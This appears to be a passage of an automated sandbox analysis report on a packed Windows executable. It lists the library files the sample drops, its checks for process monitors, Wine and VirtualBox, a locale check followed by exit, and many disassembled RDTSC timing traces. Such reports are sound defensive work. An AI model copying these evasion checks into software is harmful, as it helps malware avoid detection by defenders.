Static PE information: section name: kkjueqgp entropy: 7.953602249289906

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00709860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58243

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952025 second address: 952029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC64E3 second address: AC64E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5504 second address: AC550E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F23952C8E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC550E second address: AC5524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D038Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC569A second address: AC56A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F23952C8E26h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC56A8 second address: AC56AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5814 second address: AC581E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23952C8E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC581E second address: AC5828 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23947D038Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5C17 second address: AC5C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F23952C8E2Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007F23952C8E26h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jno 00007F23952C8E2Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5DC7 second address: AC5DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC98D8 second address: AC98DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC98DC second address: AC98E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9915 second address: AC9930 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F23952C8E2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F23952C8E26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9930 second address: AC9936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9B01 second address: AC9B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F23952C8E36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f pushad 0x00000010 jmp 00007F23952C8E2Ch 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F23952C8E28h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1C61h], ebx 0x0000003a push 00000000h 0x0000003c call 00007F23952C8E39h 0x00000041 sbb dh, FFFFFFA2h 0x00000044 pop edx 0x00000045 push 95DC64FFh 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9B7E second address: AC9B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D0397h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9B9D second address: AC9C32 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23952C8E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 6A239B81h 0x00000012 jmp 00007F23952C8E2Eh 0x00000017 push 00000003h 0x00000019 or di, 1243h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F23952C8E28h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov ecx, 339ACBE3h 0x0000003f jmp 00007F23952C8E2Eh 0x00000044 push 00000003h 0x00000046 mov edx, ebx 0x00000048 push A26167DFh 0x0000004d push ecx 0x0000004e push eax 0x0000004f push ebx 0x00000050 pop ebx 0x00000051 pop eax 0x00000052 pop ecx 0x00000053 add dword ptr [esp], 1D9E9821h 0x0000005a movsx esi, ax 0x0000005d lea ebx, dword ptr [ebp+1244B834h] 0x00000063 stc 0x00000064 sub dh, FFFFFFE0h 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F23952C8E33h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE89EF second address: AE8A17 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23947D0386h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F23947D0399h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DC4 second address: AE8DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DCA second address: AE8DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DCE second address: AE8DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F23952C8E26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8DDC second address: AE8DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F09 second address: AE8F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F23952C8E26h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jns 00007F23952C8E26h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F1F second address: AE8F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F23947D0386h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F23947D0398h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9390 second address: AE93C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23952C8E34h 0x00000009 jmp 00007F23952C8E33h 0x0000000e jo 00007F23952C8E26h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE951D second address: AE9542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947D0392h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F23947D0386h 0x00000012 jno 00007F23947D0386h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9695 second address: AE96A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F23952C8E26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE96A3 second address: AE96B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE96B0 second address: AE96CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 jl 00007F23952C8E34h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F23952C8E2Ch 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9810 second address: AE982F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F23947D0386h 0x0000000a jmp 00007F23947D0394h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE99A4 second address: AE99A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD212 second address: ADD220 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F23947D0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD220 second address: ADD226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD226 second address: ADD232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F23947D0386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9C64 second address: AE9C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F23952C8E26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9C71 second address: AE9C9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F23947D038Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F23947D0395h 0x00000013 jmp 00007F23947D038Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA45C second address: AEA478 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23952C8E2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F23952C8E34h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA5AF second address: AEA5C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947D0393h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA5C6 second address: AEA5CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF11EF second address: AF11F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF180D second address: AF181D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF181D second address: AF1835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D0394h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1835 second address: AF183B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF183B second address: AF186F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F23947D0398h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F23947D038Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF186F second address: AF1873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF087D second address: AF0881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF735E second address: AF7362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6BBB second address: AF6BC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF70DE second address: AF70E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7207 second address: AF7219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F23947D0386h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7219 second address: AF721F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6D90 second address: AB6D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6D96 second address: AB6DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F23952C8E26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6DA3 second address: AB6DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6DA7 second address: AB6DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA7B2 second address: AFA7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA7BB second address: AFA7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1C5D second address: AB1C6A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1C6A second address: AB1C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1C70 second address: AB1C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1C74 second address: AB1C80 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F23952C8E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAE5B second address: AFAEA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F23947D0392h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F23947D0392h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jo 00007F23947D0392h 0x00000023 jc 00007F23947D038Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAEA9 second address: AFAF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push 00000000h 0x00000007 push esi 0x00000008 call 00007F23952C8E28h 0x0000000d pop esi 0x0000000e mov dword ptr [esp+04h], esi 0x00000012 add dword ptr [esp+04h], 00000019h 0x0000001a inc esi 0x0000001b push esi 0x0000001c ret 0x0000001d pop esi 0x0000001e ret 0x0000001f mov esi, ebx 0x00000021 call 00007F23952C8E29h 0x00000026 pushad 0x00000027 pushad 0x00000028 jmp 00007F23952C8E2Ch 0x0000002d je 00007F23952C8E26h 0x00000033 popad 0x00000034 push edi 0x00000035 jmp 00007F23952C8E2Eh 0x0000003a pop edi 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jne 00007F23952C8E2Ch 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAF0F second address: AFAF4A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F23947D0386h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop edi 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b je 00007F23947D0386h 0x00000021 jmp 00007F23947D0399h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBAED second address: AFBAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBAF1 second address: AFBB02 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F23947D0394h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBB02 second address: AFBB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBB08 second address: AFBB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBB15 second address: AFBB1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC097 second address: AFC09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC09B second address: AFC0B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23952C8E38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC0B7 second address: AFC0BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC0BD second address: AFC0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD023 second address: AFD07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F23955E2768h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 jl 00007F23955E276Ch 0x0000002b mov edi, dword ptr [ebp+122D35A4h] 0x00000031 push 00000000h 0x00000033 ja 00007F23955E2772h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jng 00007F23955E2768h 0x00000042 push esi 0x00000043 pop esi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCEA3 second address: AFCEBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23955E58E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE26E second address: AFE28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F23955E2779h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD838 second address: AFD83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEAB2 second address: AFEAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
